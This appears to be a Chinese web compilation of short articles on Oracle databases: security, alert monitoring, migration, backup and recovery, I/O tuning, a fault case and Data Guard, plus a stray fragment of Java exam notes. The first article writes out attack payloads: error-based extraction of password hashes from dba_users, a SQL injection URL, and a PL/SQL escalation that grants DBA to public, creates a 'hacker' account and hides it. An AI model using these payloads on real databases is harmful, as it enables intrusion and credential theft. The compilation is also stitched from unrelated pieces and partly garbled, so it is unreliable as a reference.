Oracle数据库十篇

2024-07-11

Oracle数据库 篇1

为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。

又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。

一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。

二、问题与解决方式

三、黑客攻击举例

1、弱密码攻击举例:

黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。

2、利用系统漏洞:

在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (‘127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||‘=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。

3、通过SQL注入攻击:

http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。

4、PL/SQL入侵:

介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediate‘grant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (‘x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;

Commit;测试sqlplus hacker/hacker

四、解决方案

1、测试打开2-3个典型数据库

2、尝试定位问题所在

3、修复问题

4、安装补丁修改策略

5、扫描更多的数据库

五、介绍几款扫描工具

1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)

2、RDSrepscan (容易上手的网页界面数据库扫描软件)

总结

1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。

2、需要设置防火墙和入侵检测系统辅助管理员实施。

Oracle数据库 篇2

1 Oracle数据库中的现有的安全策略

众所周知,大型关系型数据库产品Oracle是目前企业中应用最广的数据库产品之一,位于所有企业型数据库之首,但是一个如此成熟的企业级软件在使用中也仍然存在着安全隐患,仍需要数据库管理员制定完整的安全策略,以最大程度地保证数据库的完整性和可用性。现有的Oracle数据中的安全策略大致可分:数据库安全策略、用户安全策略、系统安全策略和审计策略。

1.1 数据库的安全

数据库的安全主要包括数据库运行的稳定性和数据库用户角色的管控两个方面。

1.1.1 数据库运行的稳定性

在大型的生产环境中每天都会产生大量的告警数据,在这些数据中隐藏着很多有价值的信息。这些信息可用来过滤冗余的告警,在网络中进行故障定位和预测严重的错误。但这些信息是隐藏在数据中的,通过数据挖掘才能获得。在告警数据中可挖掘出各种不同类型的知识。经常对数据库告警日志(alert_.log)中“ORA-”、“DISTRIB TRAN”、“Shutting down instance”、“Deadlock detected”等相关关键字进行检查,对数据库的出错信息进行分析并协调相关人员进行处理。一般来说,一个Oracle数据库管理员应该做的Oracle数据库系统监控工作如下:

1)每天对Oracle数据库的运行状态、日志文件、备份情况、数据库的空间使用情况、系统资源的使用情况进行检查,发现并解决问题。

2)每周对数据库对象的空间扩展情况、数据的增长情况进行监控,对数据库做健康检查,对数据库对象的状态做检查。

3)每月对表和索引等进行Analyze,检查表空间碎片,寻找数据库性能调整的机会,进行数据库性能调整,提出下一步空间管理计划。对Oracle数据库状态进行一次全面检查。

1.1.2 数据库用户角色的管控

不要给数据库用户提供比其需要的还要多的权限。换句话说,只给用户真正需要的、为高效和简洁地完成工作所需要的权限。

要限制数据库管理员用户的数量,在任何一个服务器中,管理员具有最高的权限。为了让数据库维持正常的运转,必须给数据库配置管理员账户。否则的话,当数据库出现故障的时候,就没有合适的用户对其进行维护了。但是,这个管理员账户的数量要严格进行限制。不能为了贪图方便,把各个用户都设置成为管理员。数据库管理员必须有create和delete文件的操作权限,而一般数据库用户不应该有create或delete与数据库相关文件的操作权限。如果操作系统能为数据库用户分配角色,那么数据库安全管理者必须有修改操作系统账户安全性区域的操作权限。作为数据库安全管理者应注意从如下几个方面对数据库用户进行安全管控:

首先,要使用“角色”对数据库用户权限进行管理,数据库安全性管理者必须针对终端用户制定安全性策略。例如,对于一个有很多用户的大规模数据库,安全性管理者可以决定用户组分类,为这些用户组创建用户角色,把所需的权限和应用程序角色授予每一个用户角色,以及为用户分配相应的用户角色。当处理特殊的应用要求时,安全性管理者也必须明确地把一些特定的权限要求授予给用户。您可以使用“角色”对终端用户进行权限管理。

其次,保护作为sys和system用户的连接。当数据库创建好以后,立即更改有管理权限的sys和system用户的密码,防止非法用户访问数据库。当作为sys和system用户连入数据库后,用户有强大的权限用各种方式对数据库进行改动。应该只有数据库管理员能用管理权限连入数据库,当以sysdba用户登陆可以执行startup、shutdown、recover或对数据库对象(例如create,drop,和delete等进行没有任何限制的操作。

1.2 数据库的备份策略

当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(包括机器故障、介质故障、误操作等),数据库有时也可能遭到破坏,这时如何尽快恢复数据就成为当务之急。如果平时对数据库做了备份,那么此时恢复数据就显得很容易。由此可见,做好数据库的备份是多么的重要。

1.2.1 磁带库容量的估算

根据要求,备份设备容量应该满足系统两次完整备份的空间及备份周期内日常增量备份及数据库归档备份需求,备份周期内日常增量和数据库归档备份各按照1个全备份估算容量,则系统脱机备份量约相当于当前联机数据有效容量的4个全备份。

1.2.2 数据备份策略建议

根据数据的实时性、重要性、大小和变动频率不同,数据库备分可以分为归档和非归档备份模式:

1)归档数据库:采用RMAN在线备份方式备份(LAN-FREE)。同时结合exp逻辑导表备份方式。备份归档日志可根据存放归档日志的文件系统大小决定频率(一般每4小时一次),在夜间通过全量和增量结合的方式,备份数据库,如以周为单位,周日运行全备,周一到周六运行增量备份。同时,每天晚上,将重要的表导出并压缩备份。全量和增量结合的备份方式,如果两个全量备份之间的时间间隔太长,则使数据库恢复的时间变长,因此,建议系统初期,由于数据不大,可以采用每天全备份的方式,备份时间为夜间23:00(根据具体情况而定),备份周期为每天一次,这样可以避免因归档太多而导致恢复时消耗太多时间,备份保存周期定为3天。对于归档日志备份,每4小时备份一次。归档日志的保存周期为3天。

2)非归档数据库:LAN-FREE备份方式,逻辑导表模式,在系统初期,数据库不大时,可以每天晚上,全库导出并压缩备份,每天一次;数据量增长后,可采用全备和增量结合的方式,如计费数据库每周六做一个全库导出备份,周日到周五做增量备份,对于查询数据库,增量备份的频率可以少一些,每周一个全备加2个增量备份。

2 保障数据库稳定运行的自动预警策略构想

2.1 Oracle数据库维护中存在的主要问题

1)缺乏对这些服务器和数据库集中监控的手段,对服务器和数据库的维护主要靠手工分别登录到相应的服务器上,并以手工敲命令的形式来实现。

2)管理方式不直观,对技术人员有一定的专业要求,由于受水平所限,有时难以在需要时找到技术手段来发现问题的症结所在,拖延了故障的排除时间。

3)如果全面查询一遍系统的状态,速度太慢,由于服务器数量多,且是复杂变化的动态系统,从操作系统到数据库的所有状态都手工查询一遍几乎是不可能的,只能查看几项重要的参数,从而难以使一些问题被及时发现解决。

4)只能查看数据库的实时状态,许多历史数据无法保存以做分析和优化之用。

5)现有的工作方式被动。有不少问题,只有等到问题暴露之后(如表、索引无法扩展,导致前台工作陷于停顿)才能得到解决,不但拖延了时间,而且对业务造成负面影响。

6)无法了解众多服务器和数据库的运行状态。因为对服务器和数据库没有一个有效的监控工具,动态全方位地掌握、评估系统运行的状况等等。

2.2 自动预警系统的构想

可以通过将系统管理员的手动操作传化为利用Shell开发服务器运行程序。系统通过自动TELENT验证登录到各台主机服务器上。然后再执行相应的指令(包括服务器负载、0RACLE数据进程检查、系统诊断信息等),最终获取相应的执行结果,对系统的诊断信息、系统硬盘空间、系统平均负荷、数据库系统进程检查等结果进行分析处理。然后再对处理完的结果进行LOG并保存在数据库中,对于异常或超门限的指标进行邮件或短信预警。定期对LOG进行必要的分析,从而分析出主机服务器性能的大致发挥情况。

2.3 自动预警系统的可行性和必要性。

在实施服务器和数据库自动预警系统后,能够对数据库性能及安全进行集中监控管理,对服务器和数据库实行全面监控,有利于管理人员对主机服务器系统的性能进行进一步的了解,从而达到优化系统的作用。对服务器和数据库实行全面监控,及时对数据库结构进行重组优化,提前发现和解决问题,保证服务器和数据库的性能处于良好状态,避免可能造成的损失和影响。系统通过实时和定时两种方式,对服务器系统和数据库的告警信息进行分析,对超过预警门限值和告警级别较高的信息通过短信实时发送给系统管理员,使系统管理员在第一时间掌握服务器和数据库的告警信息,及时做出准确的判断,并采取相应的措施进行处理。

摘要:数据库安全问题一直是困扰数据库管理员的主要问题,针对Oracle数据库中的安全问题,总结了Oracle中必要的安全设置,并对数据库安全的自动预警提出了可行的策略。

关键词:数据库,安全,预警

参考文献

[1]oracle10g库管理员使用大全[M].北京:清华大学出版社,2001.

[2]王珊萨师煊数据库系统概论[M].北京:高等教育出版社,2006.

[3]王曦.关于SQL Server数据库安全设置的探讨[J].福建电脑,2008(10).

[4]颜文胜.数据库安全问题的策略研究[J].科技资讯,2007(24).

[5]金鹏.主机数据库预警系统设计[J].福建电脑,2006(7).

oracle数据库迁移 篇3

摘 要:本文介绍了Oracle数据库基于Linux系统迁移的研究问题。在数据库领域一直处于领先地位的Oracle数据库以其良好的可移植性、可靠性和高效性,倍受各级用户的推崇和喜爱。随着Oracle数据库的不断更新和发展,其使用用户的群体也在不断的增加,因此对Oracle数据库的存储迁移技术的研究在国内外如雨后春笋般不断发展。

关键词:oracle,数据迁移,跨平台

中图分类号: TP391 文献标识码: A 文章编号: 1673-1069(2016)25-195-2

0 引言

伴随着IT行业的迅速发展,IT系统中数据的安全性,已经是对企业运营产生了重大影响。而数据库的安全迁移也为IT系统的可持续运行和数据安全提供一道保护屏障。而且近年来频繁出现的自然灾害或者突发事件也让越来越多的人们意识到,原有的数据存储方式已经无法满足企业的需要。本文正是从数据库迁移的实际操作中总结整理而成。

1 oracle数据库文件构成

数据库是一种物理的存储结构,它是由多种物理文件组成的,在Oracle数据库系统中分为,核心文件和非核心文件两大类[1]。其中核心文件由数据文件,控制文件,日志文件,参数文件组成,非核心文件由密码文件,告警日志文件,各种跟踪文件组成。

控制文件:控制文件是一个二进制的文件,它描述了数据库当前的物理状态,记录了RMAN备份的元数据。控制文件包含有数据库的名称、数据库的创建信息、表空间的信息、数据文件的状态、日志文件的信息、备份的信息、检查点的信息等。

数据文件:,一个数据库中一定至少有一个数据文件(system01.dbf),如果一个数据库存在多个数据文件,应该分别把它们存放在不同的磁盘上,这样做不仅可以提高数据的存取速度,有利于提高数据库的性能,而且还能防止数据文件同时被损坏,实现高度容灾。

日志文件:数据库日志文件包括归档日志和非归档日志,记录了数据库的所有修改信息,归档日志会在数据库切换日志时,备份历史日志,日志记录的是数据库改变的信息、因此当数据库损坏时可以通过日志文件实现数据库的完全恢复、不完全恢复,而非归档日志不会备份历史日志,只能恢复到数据库最后一次备份时的状态[2]。

临时文件:创建数据库对象的时候指定的是使用表空间,一个表空间至少包含一个数据文件,临时文件是临时表空间对应的数据文件,并不是已用完就被删除的,而是指这个文件存储的对象是临时存在的对象。临时文件主要用于大量的排序的时候,如果不能在数据库的内存中做排序,就会把临时文件作为中转。

参数文件:参数文件是记录数据库系统配置的文件,每次数据库一启动,Oracle就会自动地从参数文件中读取系统参数的设置来配置并启动数据库。如内存的大小分配,此次启动可以打开的进程数和会话数等。

2 Oracle数据库迁移的迁移方案

oracle数据库状态分类:

nomount:此状态可以读取初始化参数文件,启动实例,可以进行数据库的创建。

mount:数据库维护状态,读取控制文件。

open: 打开数据文件,日志文件,是数据库可以对全体用户提供服务了。

数据库物理迁移过程大体可分为以下四个步骤:

第一步:加载初始化文件

oracle启动后,数据库默认会读取一个二进制的初始化文件spfile.ora,可在系统启动时指定初始化文件的路径,如startup pfile="pfilesid.ora" nomount或者startup spfile="spfilesid.ora" nomount。初始化过程可根据系统错误提示内容,用pfile进行编辑处理,然后重新startup就可以了。

第二步:加载控制文件,保证在初始化文件中,控制文件的路径正确

在初始化文件中定义控制文件的位置,在确保控制文件路径正确的情况下,才能对控制文件进行加载,其命令是alter database mount。

第三步:加载数据库,包括重做日志文件

加载控制文件之后,执行命令alter database open对数据库进行开启,整个数据库启动过程完成了。

第四步:启动数据库成功之后,就说明迁移成功,可以观察数据是否丢失,然后启动监听和配置文件等。

3 Oracle数据库迁移具体实践

下面以把数据库从文件系统迁移到ASM磁盘组为例进行演示步骤:

首先,ASM是把多个磁盘组织为一个磁盘组,作为Oracle的逻辑卷管理器,利用ASM技术可以把数据均匀分布在这些磁盘上来解决从文件区到物理磁盘块的映射问题。这种设计除了定位文件区非常快速之外,还在增加或删除磁盘时有所帮助,因为文件区的位置不需要调整[3]。

把数据库从文件系统迁移到ASM磁盘组主要是把数据库的控制文件,数据文件和日志文件分别放在不同的磁盘组上,实现对这些文件的一个冗余放置,还简化了对数据文件的管理。

3.1 迁移数据库

①迁移数据库前先在RMAN下备份数据库,设置系统冗余度,并打开优化器和控制文件的自动备份功能

②创建迁移的控制文件存放的目录

③修改参数文件把控制文件的默认位置修改到ASM磁盘组上,然后用Pfile来生成spfile文件

SQL> create pfile from spfile;

④利用RMAN工具恢复控制文件,将数据库启动到mount状态;加载控制文件,如果出现错误,就说明控制文件所在的路径和参数文件路径不一致,要修改初始化参数,文件中控制文件的参数,然后重新加载。

4 总结与展望

数据库管理技术是现今社会中信息科学与技术的重要组成部分,数据库迁移技术的研究保证了数据安全以及高效的存储[4][5]。在实际操作过程中,Oracle数据库基于Linux系统的迁移过程中会出现各种各样的情况,如果想要安全完整的迁移数据库,一定要先做好备份,然后反复的实验验证,最终才能保证数据库完整安全的迁移。

参 考 文 献

[1] 张敏.数据库安全研究现状与展望[J].中国科学院院刊,2011.03.

[2] 赵钦,周丹.政府办公自动化信息系统数据迁移解决方案[J].广西科学院学报,2008.24.

[3] 段卫国,李俊春.Oracle 数据库数据迁移技术研究[J].信息技术,2015.8.

[4] Kathy Rich.Oracle Data Pump,10g Release 2 (10.2)[M].Oracle Database Utilities, 2005.

数据库oracle笔试 篇4

我在考场上写的n=5, i=2; 运行得出结果却为9. 分析了一下得出原因在于: 如果n<5的话,那么它会从其自身起一直到5都会执行j++这条语句, 因为此代码片段中并没有使用 break。

n与i有多种组合值, 如(1,1)、(4,1)和(5,1)等都可以。

3、复习JAVA的 “内部类”章节。

4、复习JAVA的` “反射”章节。

5、温习操作系统 部分的知识。

6、数组问题:

如我声明 int [] a = new int[1] , 那么a[0]的默认值就为0。 我起初理解错误了, 我认为如此声明只是为数组开辟了空间而已, 在其空间上默认值为NULL。

7、关于启动 gc 的方法:

System.gc 和 RunTime()类的 gc() 方法, 但是即使调用了前面的方法也不保证一定会进行回收。

拓展之:

a. GC并不是定期来回收你的垃圾内存,即是根据需要来回收。

b. GC的回收是因为:它认为你的系统已经开始内存紧张(这个就是jvm的神奇)

c. 即使GC开始准备清理你的垃圾内存,但是如果该内存的引用还存在(不等于null), 这个时候GC仍然无能为力!

d、RunTime类的 public static Runtime getRuntime() 返回: 与当前 Java 应用程序相关的 Runtime 对象。

8、int i=10, double e = 10.0; 判断(i==e)、(i==10.0)的真假。

我认为一个是int类型,一个是double类型,它们分属不同的类型, 所以我认为其是错误的, 然而经运行测试发现是正确的。

9、public static void main(String[] args){

StringBuffer str1 = new StringBuffer(“a”);

StringBuffer str2 = new StringBuffer(“b”);

Oracle数据库备份和恢复 篇5

1 Oracle数据库认识

甲骨文公司推出的关系数据库管理系统Oracle数据库具有良好的硬件兼容性, 具有对大数据量、多用户事务的处理能力, 同时还支持不同类型的操作系统, 并且能遵守包括通用数据存取语言、操作系统 (操作系统漏洞、操作系统补丁和操作系统用户等) 、用户接口和网络通信协议等方面的工业标准。Oracle数据库具备强大的数据库管理功能与分布式处理能力, 如支持大量的多媒体数据, 包括多维数据结构、图像、声音和动画等方面的数据, 可以有效保障数据的安全性及稳定性。基于此, 使得Oracle数据库在政府、金融、教育等部门中应用广泛。

2 Oracle数据库备份

数据库备份是非常重要的一个环节, 可以说能够进行怎样的数据恢复依赖于怎样的数据备份, 因此它也是数据库恢复非常重要的一步。备份的好坏对数据库恢复的精确性和及时性有非常重要的影响, 可以说备份和恢复是互相联系的概念。Oracle数据导入和导出imp/exp就相当于oracle数据还原和备份。Oracle数据库备份可分为物理备份和逻辑备份, 其中物理备份是为了实现数据库的完整恢复, 而将组成数据库的实际操作系统文件加以拷贝的过程, 一般是从磁盘到磁带进行备份。进行物理备份的数据库需在归档模式下运行, 且外部存储设备需满足备份的需要。物理备份又有冷备份与热备份之分, 其中冷备份是极为快速的备份方法, 主要是在数据库正常关闭之时提供一个完整的数据库, 能和归档方法相结合, 做到数据库“最佳状态”的恢复。但是, 冷备份存在的问题是不能按表或按用户恢复, 单独使用时只能提供“某一时间点上”的恢复, 并且在冷备份过程中数据库要处于关闭状态。

借用第三方软件所进行的冷备份主要分三个步骤, 首先是关闭运行中的oracle数据库, 使其内外部运行模块处于停止状态, 采用命令符:sqlplus / as sysdba;shutdown immediate开展这一步骤。其次, 进行数据库的备份, 通过命令符:host copy d: oracle oradata *.* e: backup 20151231, 将整个数据库文件存储到别的存储介质或是存储位置当中, 也可以只备份部分数据库文件, 诸如配置文件、控制文件等。最后是启动Oracle数据库, 具体通过命令符startup开展这一步骤。

与冷备份相反, 热备份则需要在数据库运行的情况下进行数据库的备份, 又称为联机备份, 其备份方法是archivelog mode。热备份可对几乎所有数据库实体达到秒级恢复, 并且能在表空间或者是数据库文件中进行备份, 所用时间短。热备份与冷备份相辅相成, 互为补充, 一旦出现问题, 可以借由两种备份资料帮助信息恢复。开展热备份, 需要数据库运行于archivelog的状态之下, 并且需要大量的档案空间, 也需要分三个步骤进行备份。一是先检查数据库是否处于归档模式。命令符:sqlplus / as sysdba;archive log list。二是切换为归档模式。命令符:alter system set log_archive_dir='location=d: backup Arclog'。三是对文件进行热备份。命令符:alter database backup controlfile to 'd: backup ctl.bkp' (备份控制文件) ;alter system archive log current (备份当前联机重做日志文件) 。

而Oracle数据库的逻辑备份则需要借助EXP工具及SQL语言, 从数据库中抽取数据并存于二进制文件当中。逻辑备份操作简单, 且无需特定的外部存储设备, 无需数据库运行于归档模式下, 其一般分为用户备份、表备份和完全备份三种形式, 主要用于业务数据库的备份。

3 Oracle数据库恢复

数据库恢复是把数据库由存在故障的状态转变为无故障状态的过程。数据库故障是指数据库运行状态下影响数据库正常使用的特殊事件。数据库故障有许多类型:语句失败;用户进程失败;用户或应用错误操作;实例失败等。通常根据故障的类型不同分为实例恢复和介质恢复。其中实例恢复主要是Oracle在其实例产生故障之后, 自行进行恢复的形式。而介质恢复则是在存放数据库中的介质产生故障时进行的恢复。基于Oracle数据库不同形式的备份, 其恢复有物理备份恢复和逻辑备份恢复之分。物理备份恢复主要分为四个步骤, 首先是在原位置上拷贝数据文件进行备份, 将该文件设置成为离线状态, 其命令符为:alter database datafile 4offline drop。其次是打开数据库, 其命令符为:alter database open。 再次是恢复数据库中的数据文件, 其命令符为:recover datafile。最后是将数据文件设为联机状态, 其命令符为:alter database datafile 4 online。

4 结语

随着现代科技的不断发展, Oracle数据库备份和恢复方法也层出不穷, 工作人员需要在实际工作当中, 不断完善Oracle备份和恢复方法, 做到具体问题具体分析, 以提高备份数据的可用性。

参考文献

[1]刘钰.浅谈ORACLE数据库的管理与维护[J].计算机光盘软件与应用, 2014 (13) .

Oracle数据库 篇6

影响数据库性能的因素包括:系统、数据库、网络。实际上, 为了保证Oracle数据库运行在最佳的性能状态下, 在信息系统开发之前就应该考虑数据库的优化策略。优化策略一般包括服务器操作系统参数调整、Oracle数据库参数调整、网络性能调整、应用程序SQL语句分析及设计等几个方面, 其中应用程序的分析与设计是在信息系统开发之前完成的。

1 Oracle对I/O的依赖性

Oracle DBMS (Database Management System) 的性能与操作系统和I/O子系统密切相关。某些时候, 操作系统会阻碍Oracle的性能。Oracle几乎就是它自己的操作系统。管理员必须利用操作系统来实现几个关键任务, 这些任务包括内存管理系统、进程调度程序和I/O子系统等。在操作系统的这些任务中, I/O子系统及I/O子系统的性能对Oracle DBMS的性能是非常重要的。Oracle的主要功能是为数据库用户提供和维护数据;数据库的数据 (不在内存中时) 就是存放在I/O子系统中的。Oracle的性能是和I/O子系统的性能直接相关的[2]。

实际上, Oracle DBMS的性能对I/O子系统的性能具有很强的依赖性。O r a c l e DBMS执行的绝大部分任务都涉及到某些I/O操作, 而且很多任务还涉及到大量的I/O操作。

2 调整I/O

对Oracle数据库用户而言, I/O可能是他们面临的最主要的问题之一。很多情况下, 磁盘I/O速度完全限制了系统性能。而在另一些情况下, 为等待完成用户进程对磁盘的I/O请求, 系统实际上已处于闲置状态。这样的系统称为I/O被限制的系统或被磁盘限制的系统。

管理员应当在系统设计阶段为I/O操作优化系统。I/O设计与管理员将要实现的系统类型密切相关:不同类型的系统需要不同类型的I/O模式和不同的I/O设计方案。在系统创建完毕之后, 首先应当调整系统内存, 然后再调整磁盘I/O。之所以要采用这样的调整顺序是因为必须确保在调整磁盘I/O时, 不必处理缓冲区命中率过低的问题, 而如果缓冲区命中率过低, 将会引起额外的I/O操作[3]。

2.1 识别磁盘竞争

对于单个磁盘驱动器, 只需简单地启动操作系统或第三方工具并检查每个驱动器上的IOPS即可。这些工具获得的数据将为管理员提供每个磁盘驱动器土I/O操作的准确信息。I/O操作的首要规则是每个磁盘驱动器上的随机I/O操作不能超过125IOPS, 而顺序操作不能超过300IOPS。如果系统中出现了磁盘盯I/O问题, 那么管理员将观察到大量的空闲CPU周期和很长系统响应时间[3]。

2.2 解决磁盘竞争

在解决磁盘竞争问题时应当遵循如下一些规则:

1) 分离系统中的顺序I/O。因为顺序如操作的速度远大于随机的, 所以分离出系统中的顺序I/O可大大提高驱动器的运行速度。

2) 分散随机I/O。可通过Oracle分片技术、操作系统分片技术或硬件分片技术来分片存储数据库表中的数据从而达到分散随机I/O的目的。

3) 区别存储数据及索引。通过分别存储一个被频繁访问的表和该表的索引, 管理员将允许对该表的查询同时访问位于不同磁盘的该表的数据及索引。

4) 对于一个包含数据库文件的磁盘, 管理员应当清除该磁盘上的非Oracle I/O操作。任何其他的磁盘I/O都将降低份Oracle访问该磁盘的速度。

下面部分内容将分别讨论这几种不同的解决方案及如何实现这些解决方案。

1) 分离系统中的顺序I/O

通过分离系统中的顺序I/O可使以顺序方式访问的磁盘的运行速度远高于以随机方式访问的磁盘的运行速度。管理员只需简单地将Oracle的重做日志文件放到不同的磁盘上就能实现系统中顺序I/O的分离。

管理员必须确保将每个重做日志文件都放到了它自己的磁盘上 (对镜像日志文件更是如此) 如果系统中使用了镜像重做日志文件的话。如果使用了操作系统或硬件的镜像特性, 那么Oracle的重做日志文件本身就在不同的卷上。尽管Oracle对每个重做日志文件的写操作都是顺序I/O操作, 但如果将某一重做日志文件与其镜像文件放到同一个磁盘上, 那么将导致该磁盘在相邻的读操作之间会在两个日志文件中检索数据, 从而降低磁盘的I/O速度。

通过镜像重做日志文件来降低系统故障的危险是非常重要的。管理员可通过Oracle、操作系统或硬件的容错特性来实现重做日志文件镜像。

2) 分散随机I/O

随机I/O的特点是被访问的数据位于数据文件的不同位置上。管理员只需简单地向Oracle中添加足够数量的磁盘并将表放置在所有这些磁盘上, 就能非常容易地降低随机I/O引起的性能问题。可根据系统的不同配置将数据分别存放在多个驱动器上, 管理员只需简单地将表存放到多个驱动器上就可实现随机I/O的分散化, 也就是分片技术。

Oracle分片技术的功能是将一个表的数据分成多个小部分, 并将这些不同的部分存放到不同的数据文件中。Oracle是通过CREATETABLESPACE命令在表空间层次上实现分片的。为完成这个任务, 管理员还必须在这个表空间中创建一个带有4个盘区的表。在该表空间中创建的表将跨越该表空间中的所有4个数据文件, 而这些数据文件分别位于不同的磁盘上。

3 结语

数据库的数据最终要存储在物理磁盘上。磁盘I/O操作是数据库性能最重要的方面, 它是系统消耗最大的Oracle数据库操作。影响磁盘I/O性能的主要原因除了本文分析的磁盘竞争外, 还有I/O次数过多和数据块空间的分配管理等问题。

摘要:对于数据库系统来说, 磁盘I/O操作是数据库性能最重要的方面, 它是计算机最大的开销。影响磁盘I/O性能的原因很多, 本文重点研究了其中较重要的一个因素——磁盘竞争问题, 主要从分离系统中的顺序I/O和分散随机I/O两个方面进行了探讨。

关键词:数据库,Oracle,优化,I/O优化

参考文献

[1]Abraham Silberschatz.数据库系统概念 (第1版) [M].北京:机械工业出版社, 2002, 13~14.

ORACLE数据库故障处理一例 篇7

我院HIS (Hospital Information System) 建于2009年, 采用C/S构架, 运行环境为Intel E7420八核双CPU、内存4G数据库服务器, 操作系统windows2003server企业版, 数据库系统oracle 10g标准版, 终端应用为四台Intel E5405四核CPU、12G内存服务器, 近期出现部分用户无法登陆系统, 对我院业务工作造成较大影响, 经过认真分析故障现象, 找出故障原因, 通过完善和改进系统和应用软件, 解决了该问题, 下文对故障进行详细分析。

二、系统故障分析2.1故障现象

近期在我院就诊高峰期, 部分用户反映在登录HIS系统时出现“无法连接数据库”的错误提示, 但同时约有300多个用户仍能正常使用系统, 能正常使用系统的用户都是原先一直在线的, 而无法登陆系统的用户都是较晚登陆系统的。

2.2故障检查分析

经初步检查, 无法登陆的用户计算机硬件和网络均无问题, 初步确认为数据库系统或应用软件故障。在Windows事件查询器里可见“Unable to begin another thread”的提示, 根据这个提示查找Oracle数据库故障手册, 发现是Oracle的线程已经满了, 不能再建新的线程, 导致新用户无法再登录数据库。根据故障现象, 首先去调整Oracle的PGA参数, 增大线程数和调整线程分配内存, 但问题没有根本得到解决, 经分析主要原因是受32位Windows系统单线程最大2G内存的限制, 于是我们将连接Oracle的连接模式由专用服务器模式改为共享模式, 故障排除。在故障解决之后, 我们对故障发生的原因进行认真分析, 故障发生前我院日常约有300多台计算机同时登陆系统但没有超连接数的提示, 通过查找Oracle的V$session线程表发现了在高峰期有多达300多个hospital用户登录的HIS软件线程, 后与系统开发工程师联系, 在故障发生前, 开发工程师在系统上更新了一个“自动升级更新软件”的程序, 用户在登录时都先检查有无新版本软件更新, 程序在检查更新后没有自动关闭注销, 释放连接, 导致用户进程数翻倍增涨, 工程师修改软件BUG后, 用户进程恢复正常的水平。这个软件的BUG才是发生故障的主要原因。

三、解决方案

由于医院的业务是不断增长, 随着业务的增长, 访问数据库的用户和线程数量不断增长, 为彻底解决问题, 我们提出如下方案。

3.1升级操作系统

将目前在用的32位Windows Server升级为64位Windows系统, 或者将数据库迁移到Linux操作系统, 让单线程突破2G内存的限制;

3.2升级数据库系统

将标准版Oracle升级为企业版Oracle, 利用Oracle RAC (real application clusters) 技术, 使用Oracle提供的集群软件和存储管理软件, 将数据库系统由单节点改为双节点的Oracle集群系统, 实现数据库系统多节点负载均衡, 提供系统的高可用性, 这样就可以解决由于业务量的增长导致的数据库线程增长引起的数据库性能问题。

四、结束语

作为医院计算机中心的工程师, 不仅要求具备扎实的数据库基本功, 而且对计算机网络也要有一定的基础, 对出现过的数据库故障或其他问题的现象及解决法, 认真记录、善于总结, 尽可能缩短维修时间, 把对医院信息化工作的影响降到最小。

摘要:本文介绍我院HIS系统oracle数据库服务器出现部分用户无法登陆系统故障, 通过认真分析故障原因, 经改变连接模式、修改软件, 用户进程恢复正常水平, 故障排除, 系统恢复正常运行。

关键词:oracle数据库,故障分析,故障处理,解决方案

参考文献

[1] (美) 凯特著, 苏金国译.Oracle Database9i/10g/11g编程艺术:深入数据库体系结构 (第2版) [M].北京:人民邮电出版社, 2011.

[2]何明.从实践中学习Oracle数据库管理与维护 (第2版) [M].北京:清华大学出版社, 2009.

[3] (美) Darl Kuhn (美) Sam R.Alapati (美) Bill Padfield著, 卢涛译.Oracle索引技[M].北京:人民邮电出版社, 2012.

[4]彭小斌, 张文峰, 林根深.ORACLE数据库并发访问控制机制及访问冲突的解决方法[J].中国医疗设备, 2013 (1)

Oracle数据库灾备技术探讨 篇8

技术的讨沦

技术一:Oraclc DataGuard

Oracle Data Guard提供了一种数据同步技术来实现Oracle的高可用性、增强的性能以及自动的故障转移方案。Oracle Data Guard为主数据库创建和维护多个备用数据库,主数据库的改变能够自动将信息从主数据库传送到备用数据库,并保证在此过程中没有信息的丢失。Oracle DataGuard实现方式(见图1)

在Oracle Data Guard的实现中,将一个运行在ARCHIVELOG模式下的数据库指定为服务于应用程序的主数据库,可以通过Oracle Net(Oracle网络)访问一个或多个备用数据庠来提供故障的转移功能。Data Guard自动将重做信息传送到应用此信息的备用数据库,因此,备用数据库在事物处理上可以保持一致,以实现对数据库的保护。

Data Guard有两种类型的备用数据库:物理备用和逻辑备用数据库。

物理备用数据库具有与主数据库相同的结构。逻辑备用数据库具有不同的内部结构(例如用于报表的额外索引)。通过将重做数据转换为依据备用数据库执行的SQL语句,可以同步逻辑备用数据库和主数据。物理和逻辑备份数据库服务于不同的目的。物理备用数据库是一种对主数据库的逐块的复制,因此它可以用作代替主数据库的数据库备份。在灾难恢复过程中,物理备份数据库看起来就像是它替代的主数据库。逻辑备用数据库支持额外的数据库结构,可以更为容易的支持特定的报表需求。因此许多方案将物理数据库用于灾难恢复,然后添加额外的逻辑备用数据库来支持特定的报表和业务需求。

